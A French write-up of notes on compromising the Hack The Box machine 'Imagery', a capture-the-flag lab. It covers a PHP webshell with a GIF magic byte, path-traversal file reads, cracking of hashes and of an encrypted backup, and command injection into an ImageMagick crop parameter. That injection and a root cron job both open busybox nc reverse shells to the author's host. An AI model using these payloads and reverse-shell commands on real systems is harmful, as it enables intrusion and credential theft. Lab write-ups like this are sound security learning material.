Imagery

Prises de Notes de mes box HTB
Retour à la mosaïque

User

Je commence par mettre un payload php mais avec un magic byte gif (le seul magic byte de la liste qui soit imprimable)

GIF89a;
<?php system($_GET['cmd']); ?>

le fichier je le met en .gif le probleme c’est que c’est vraiement interprété comme un gif.

Après avoir testé plusieurs file upload je me remet en question enfin.

Je recommence le discovery :

Déjà dans les js on a tous les endpoints api donc je tes test un par un.

/auth_status renvoie :

{
"displayId":"9c41fd2e",
"isAdmin":false,
"isTestuser":false,
"loggedIn":true,
"username":"rrr@rrr.rrr"
}

/images renvoie.

{"grouped_images":[{"images":[{"actual_mimetype":"image/jpeg","description":"","filename":"44922a3e-7dbd-49a1-ae8e-1ecc92ab4e90_journal.jpg","group":"My Images","id":"b31cbade-56b7-4ba2-abee-57a561c6b2a8","timestamp":"2025-11-23T13:29:34.358120","title":"journal","type":"original","uploadedBy":"rrr@rrr.rrr","uploadedByDisplayId":"9c41fd2e","url":"/uploads/44922a3e-7dbd-49a1-ae8e-1ecc92ab4e90_journal.jpg"}],"name":"My Images"}],"images":[{"actual_mimetype":"image/jpeg","description":"","filename":"44922a3e-7dbd-49a1-ae8e-1ecc92ab4e90_journal.jpg","group":"My Images","id":"b31cbade-56b7-4ba2-abee-57a561c6b2a8","timestamp":"2025-11-23T13:29:34.358120","title":"journal","type":"original","uploadedBy":"rrr@rrr.rrr","uploadedByDisplayId":"9c41fd2e","url":"/uploads/44922a3e-7dbd-49a1-ae8e-1ecc92ab4e90_journal.jpg"}],"success":true}

/admin/users (ainsi que tous les endpoints fils) renvoie.

{"message":"Access denied. Administrator privileges required.","success":false}

tout le reste a été reffusé (mais pas 404 donc ils existent)

/get_image_collections.

{"collections":[{"name":"My Images"},{"name":"Unsorted"},{"name":"Converted"},{"name":"Transformed"}],"success":true}

liste complete des api leak dans les js du site.

/auth_status
/register
/login
/logout
/images
/delete_image
/edit_image_details
/convert_image
/apply_visual_transform
/delete_image_metadata
/upload_image
/admin/users
/admin/bug_reports
/admin/delete_user
/admin/delete_bug_report
    const logIdentifier = username;
    const logType = 'user';
    window.location.href = `/admin/get_system_log?log_identifier=${encodeURIComponent(logIdentifier)}.log`;
}

on voit que log_identifier=….log correspond a un fichier local.

Je tente une lfi :

Quand je met test ça renvoie une erreur :

"Error reading file: 404 Not Found: The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.”.

Donc ca confirme que c’est bien un file.

Je teste des ../etc/passwd en rajoutant des ../ ca met la meme erreur jusqu’a que j’y arrive avec ../../../../../etc/passwd.

Ya que 3 user qui ont un bash.

root:x:0:0:root:/root:/bin/bash
web:x:1001:1001::/home/web:/bin/bash
mark:x:1002:1002::/home/mark:/bin/bash

Rien ne marche.

On sait que web a un home directory donc ../../../../../home/web/ existe.

Je sais pas quoi chercher.

Je suis con je cherchais dans /home/web mais ca c’est le user c’est pas le dossier de l’app.

Donc evidemment que mon /home/web/config.py ne renvoie rien, je dois chercher dans.

Home/web/web et du coup maintenant ca correspond au bon nombre de “../”.

Bingo.

DATA_STORE_PATH = 'db.json'

dans le meme repertoire.

Donc je le dl et j’ai :

"username": "admin@imagery.htb",
"password": "5d9c1d507a3f76af1e5c97a3ad1eaa31"
"username": "testuser@imagery.htb",
"password": "2c65c8d7bfbca32a3ed42596192384f6"

*7¡Vamos!

Iambatman.

J’essaye de me ssh a mark :

~/Documents $ ssh mark@imagery.htb
The authenticity of host 'imagery.htb (10.10.11.88)' can't be established.
ED25519 key fingerprint is: SHA256:1f09NrF6QWI5nbZzSJJflV8ACTiH/pMDmhIFayf3VD4
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'imagery.htb' (ED25519) to the list of known hosts.
mark@imagery.htb: Permission denied (publickey).

j'ai encore ma lfi je dois en profiter pour cat le fichier de clés ssh.

Je vais me connecter avec ces creds sur le site.

Le site pour test user est le meme partout sauf qu’il a acces aux features qui sont encore en prod comme CONVERT FORMAT.

Je cree un png a avec un shell dedans puis je change le format sur burp.

Mon shell.gif : <?php echo shell_exec($_GET['cmd']); ?>

Je modifie la requete de conversion en jpg pour faire mettre php.

{"imageId":"26a84cbb-e877-4a74-be18-d861e7b6bd86","targetFormat":"php"

ça marche pas c’est interdit mdrr.

ON A LE CODE SOURCE DE L’APP.

Non rien a gratter je reviens dans ma lfi pour justement trouver l’app.py.

Je trouve le app.py qui fait reference au config.py et au utils.py que je m’empresse de trouver.

Il donne tous les api_….py.

Je m’interesse au api_edit (le seul truc qui nous diférencie des users normaux) et je vois s’il y a des injections/.

command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)

dans crop on peut mettre une entrée utilisateur ET on a acces a un shell.

Donc dans le width ou le height on peut injecter une commande comme ceci.

; id
/?content=session%3D.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aSQXVA.cjqou044OnsancHwhrrHaDCI7GQ

ca c’est ma requete mais mon nc recois la connexion mais ne la garde pas.

{"imageId":"07156bc3-61f2-42ef-8e7f-268133e0e990","transformType":"crop","params":{"x":0,"y":0,"width":500,"height":"390; busybox nc 10.10.15.157 6677 -e /bin/bash"}}

je rajoute ; echo (tant que le echo n’est pas exécuté, le processus parent survit donc continue d’executer le revshell, ca aurait pu marcher avec cat etc)

J’ai un shell.

Mon objectif maintenant c’est d’avoir les clés pour me ssh a mark.

Bon c’est du je grep dans mon rendu linpeas rsa et je trouve ca.

web@Imagery:~$ cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDebNY/k0wVOIPwMiMIACCozB86D6HmS4aJ8cnxqcUw136cd1jOIckN7CvNJ3dc2Wnklh8lvDPNQ+/h2NSIEc85q92LmFyS/bZRq0U2EPxKbkjpOy5P9sTUdnao94j/ayq28wgS9GOgjSaxiBT7fqsktkCUEbeCdPxIQPUJMOyoCj9Zse2+4iJa1Lr6LIrF6U9bwgsmdiTDORDx7TRP9JdhXj8XhQMGooatNmi7YnpSCXJh7pU0RlODy7ENO3GVO8QpKGZIu8t/90R/EpjThMzWLcUA4m40QG1/g2D71qwnolkT45ese6aIc2x38EZ9AEHLDcXhwmhHU5svWv4PvC92Z0Y5zRJeKj3Y6PAFM9II+PDJlf7N9xNIN06JGpZ9gTo+oO39uORiNRu+6uyD18R5aEzXafaxm33fjzhNKAAWSVOedbzTR96jdziExJxtwBSHDwgwfS5wLzrei9NjMvhnpxAUfObZt4rJNc4s0+H/AWss5AnI+ykKx47+dG1jLmU= root@osboxes

ca m’aide pas dutout.

Je continue d’explorer ~/web et dans ~/web/bot/admin.py ila ya ses creds (qu’on avait pas pu dechiffrer tout a l’heure)

# ----- Config -----
CHROME_BINARY = "/usr/bin/google-chrome"
USERNAME = "admin@imagery.htb"
PASSWORD = "strongsandofbeach"
BYPASS_TOKEN = "K7Zg9vB$24NmW!q8xR0p%tL!"
APP_URL = "http://0.0.0.0:8000"
# ------------------

ca m’avance a rien mais c’est déjà ca mdr.

Je continue de lire mon linpeas.

╔══════════╣ Executable files potentially added by user (limit 70)
2025-09-22+13:21:44.2709266820 /usr/local/sbin/laurel
2025-09-22+10:55:05.1975575260 /home/web/.local/bin/wsdump
2025-08-02+19:56:15.1022096770 /home/web/web/bot/admin.py
2025-07-30+11:25:49.2198698390 /usr/local/bin/pyAesCrypt
2025-07-14+17:45:21.8640184880 /var/snap/cups/common/etc/papersize
2025-07-14+17:18:56.7755866310 /home/web/web/env/bin/flask
2025-07-14+17:18:56.3315861790 /home/web/web/env/bin/markdown-it
2025-07-14+17:18:55.6395854630 /home/web/web/env/bin/pygmentize
2025-07-14+17:18:06.5755041490 /home/web/web/env/bin/pip3.12
2025-07-14+17:18:06.5755041490 /home/web/web/env/bin/pip3
2025-07-14+17:18:06.5755041490 /home/web/web/env/bin/pip
2024-10-27+03:57:08.0284831320 /etc/cloud/clean.d/99-installer
2024-10-27+03:42:57.0240580590 /etc/console-setup/cached_setup_terminal.sh
2024-10-27+03:42:57.0170545520 /etc/console-setup/cached_setup_font.sh
2024-10-27+03:42:57.0130525480 /etc/console-setup/cached_setup_keyboard.sh

le user a utilisé pyAesCrypt.

Je me renseigne sur pyaes c’est une lib python qui sert a chiffrer des fichiers.

Je grep aes dans le rendu linpeas et hehe.

1786 -rw-rw-r-- 1 root root 23054471 Aug  6  2024 /var/backup/web_20250806_120723.zip.aes

j’exfiltre cette backup.

Je trouve un tool qui dechiffre.

~/Documents/test_serv $ python3 dpyAesCrypt.py web_20250806_120723.zip.aes /usr/share/wordlists/rockyou.txt

[🔐] dpyAesCrypt.py – pyAesCrypt Brute Forcer

[🔎] Starting brute-force with 10 threads...
[🔄] Progress: ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0.00% | ETA: 00:00:00 | Tried 0/14344391/home/ygp4ph/Documents/test_serv/dpyAesCrypt.py:42: DeprecationWarning: inputLength parameter is no longer used, and might be removed in a future version
  pyAesCrypt.decryptStream(fIn, fOut, password.strip(), buffer_size, os.path.getsize(encrypted_file))
[🔄] Progress: ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0.01% | ETA: 00:35:27 | Tried 1050/14344391

[✅] Password found: bestfriends
🔓 Decrypt the file now? (y/n): y
/home/ygp4ph/Documents/test_serv/dpyAesCrypt.py:142: DeprecationWarning: inputLength parameter is no longer used, and might be removed in a future version
  pyAesCrypt.decryptStream(fIn, fOut, cracked_pw, args.buffer, os.path.getsize(args.file))
[📁] File decrypted successfully as: web_20250806_120723.zip

je cat le db.json et il y a un user en plus.

"username": "mark@imagery.htb",
"password": "01c3d2e5bdaf6134cec0a367cf53e535",

je crack le hash : supersmash.

C’est donc le mdp de mark.

Je prie pour une password reuse en faisant su mark et en mettant ces creds (puisque je ne peux pas me ssh)

J’y suis et je cat user.

Root

Je commence la privesc j’ai déjà mon linpeas.

mark@Imagery:~$ sudo -l
sudo -l
Matching Defaults entries for mark on Imagery:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User mark may run the following commands on Imagery:
    (ALL) NOPASSWD: /usr/local/bin/charcol

/usr/local/bin/charcol est un binaire que mark peux executer en tant que qui il veux (dont root)

mark@Imagery:~$ sudo /usr/local/bin/charcol -h
sudo /usr/local/bin/charcol -h
usage: charcol.py [--quiet] [-R] {shell,help} ...

Charcol: A CLI tool to create encrypted backup zip files.

positional arguments:
  {shell,help}          Available commands
    shell               Enter an interactive Charcol shell.
    help                Show help message for Charcol or a specific command.

options:
  --quiet               Suppress all informational output, showing only
                        warnings and errors.
  -R, --reset-password-to-default
                        Reset application password to default (requires system
                        password verification).

je reset le password.

Je rentre dans l’app dans le mode interractif avec.

mark@Imagery:~$ sudo /usr/local/bin/charcol shell

je fait un help pour voir les commandes disponnibles.

bash-5.2$ sudo /usr/local/bin/charcol shell
sudo /usr/local/bin/charcol shell

  ░██████  ░██                                                  ░██
 ░██   ░░██ ░██                                                  ░██
░██        ░████████   ░██████   ░██░████  ░███████   ░███████  ░██
░██        ░██    ░██       ░██  ░███     ░██    ░██ ░██    ░██ ░██
░██        ░██    ░██  ░███████  ░██      ░██        ░██    ░██ ░██
 ░██   ░██ ░██    ░██ ░██   ░██  ░██      ░██    ░██ ░██    ░██ ░██
  ░██████  ░██    ░██  ░█████░██ ░██       ░███████   ░███████  ░██

Charcol The Backup Suit - Development edition 1.0.0

[2025-11-24 13:18:08] [INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.
charcol> help
help
[2025-11-24 13:18:17] [INFO]
Charcol Shell Commands:

  Backup & Fetch:
    backup -i <paths...> [-o <output_file>] [-p <file_password>] [-c <level>] [--type <archive_type>] [-e <patterns...>] [--no-timestamp] [-f] [--skip-symlinks] [--ask-password]
      Purpose: Create an encrypted backup archive from specified files/directories.
      Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/'.
      Naming: Automatically adds timestamp unless --no-timestamp is used. If no -o, uses input filename as base.
      Permissions: Files created with 664 permissions. Ownership is user:group.
      Encryption:
        - If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
        - If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED archive.
      Examples:
        - Encrypted with file-specific password:
          backup -i /home/user/my_docs /var/log/nginx/access.log -o /tmp/web_logs -p <file_password> --verbose --type tar.gz -c 9
        - Encrypted with app password (if status 1):
          backup -i /home/user/example_file.json
        - Unencrypted (if status 2 and no -p):
          backup -i /home/user/example_file.json
        - No timestamp:
          backup -i /home/user/example_file.json --no-timestamp

    fetch <url> [-o <output_file>] [-p <file_password>] [-f] [--ask-password]
      Purpose: Download a file from a URL, encrypt it, and save it.
      Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/fetched_file'.
      Permissions: Files created with 664 permissions. Ownership is current user:group.
      Restrictions: Fetching from loopback addresses (e.g., localhost, 127.0.0.1) is blocked.
      Encryption:
        - If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
        - If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED file.
      Examples:
        - Encrypted:
          fetch <URL> -o <output_file_path> -p <file_password> --force
        - Unencrypted (if status 2 and no -p):
          fetch <URL> -o <output_file_path>

  Integrity & Extraction:
    list <encrypted_file> [-p <file_password>] [--ask-password]
      Purpose: Decrypt and list contents of an encrypted Charcol archive.
      Note: Requires the correct decryption password.
      Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
      Example:
        list /var/backup/<encrypted_file_name>.zip.aes -p <file_password>

    check <encrypted_file> [-p <file_password>] [--ask-password]
      Purpose: Decrypt and verify the structural integrity of an encrypted Charcol archive.
      Note: Requires the correct decryption password. This checks the archive format, not internal data consistency.
      Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
      Example:
        check /var/backup/<encrypted_file_name>.tar.gz.aes -p <file_password>

    extract <encrypted_file> <output_directory> [-p <file_password>] [--ask-password]
      Purpose: Decrypt an encrypted Charcol archive and extract its contents.
      Note: Requires the correct decryption password.
      Example:
        extract /var/backup/<encrypted_file_name>.zip.aes /tmp/restored_data -p <file_password>

  Automated Jobs (Cron):
    auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]
      Purpose: Add a new automated cron job managed by Charcol.
      Verification:
        - If '--app-password' is set (status 1): Requires Charcol application password (via global --app-password flag).
        - If 'no password' mode is set (status 2): Requires system password verification (in interactive shell).
      Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths.
      Examples:
        - Status 1 (encrypted app password), cron:
          CHARCOL_NON_INTERACTIVE=true charcol --app-password <app_password> auto add \
          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs -p <file_password>" \
          --name "Daily Docs Backup" --log-output <log_file_path>
        - Status 2 (no app password), cron, unencrypted backup:
          CHARCOL_NON_INTERACTIVE=true charcol auto add \
          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
          --name "Daily Docs Backup" --log-output <log_file_path>
        - Status 2 (no app password), interactive:
          auto add --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
          --name "Daily Docs Backup" --log-output <log_file_path>
          (will prompt for system password)

    auto list
      Purpose: List all automated jobs managed by Charcol.
      Example:
        auto list

    auto edit <job_id> [--schedule "<new_schedule>"] [--command "<new_command>"] [--name "<new_name>"] [--log-output <new_log_file>]
      Purpose: Modify an existing Charcol-managed automated job.
      Verification: Same as 'auto add'.
      Example:
        auto edit <job_id> --schedule "30 4 * * *" --name "Updated Backup Job"

    auto delete <job_id>
      Purpose: Remove an automated job managed by Charcol.
      Verification: Same as 'auto add'.
      Example:
        auto delete <job_id>

  Shell & Help:
    shell
      Purpose: Enter this interactive Charcol shell.
      Example:
        shell

    exit
      Purpose: Exit the Charcol shell.
      Example:
        exit

    clear
      Purpose: Clear the interactive shell screen.
      Example:
        clear

    help [command]
      Purpose: Show help for Charcol or a specific command.
      Example:
        help backup

Global Flags (apply to all commands unless overridden):
  --app-password <password>    : Provide the Charcol *application password* directly. Required for 'auto' commands if status 1. Less secure than interactive prompt.
  -p, "--password" <password>    : Provide the *file encryption/decryption password* directly. Overrides application password for file operations. Less secure than --ask-password.
  -v, "--verbose"                : Enable verbose output.
  --quiet                      : Suppress informational output (show only warnings and errors).
  --log-file <path>            : Log all output to a specified file.
  --dry-run                    : Simulate actions without actual file changes (for 'backup' and 'fetch').
  --ask-password               : Prompt for the *file encryption/decryption password* securely. Overrides -p and application password for file operations.
  --no-banner                   : Do not display the ASCII banner.
  -R, "--reset-password-to-default"  : Reset application password to default (requires system password verification).

je dois trouver un moyens d’executer des commandes en partant du mode interractif (puisqu’il s’execute en root)

On peut ajouter des taches cron.

Je met 9001 parce que 6677 est occupé pour mon shell actuel.

charcol> auto add --schedule "* * * * *" --command "busybox nc 10.10.15.157 9001 -e /bin/bash" --name "yg"

je cat root.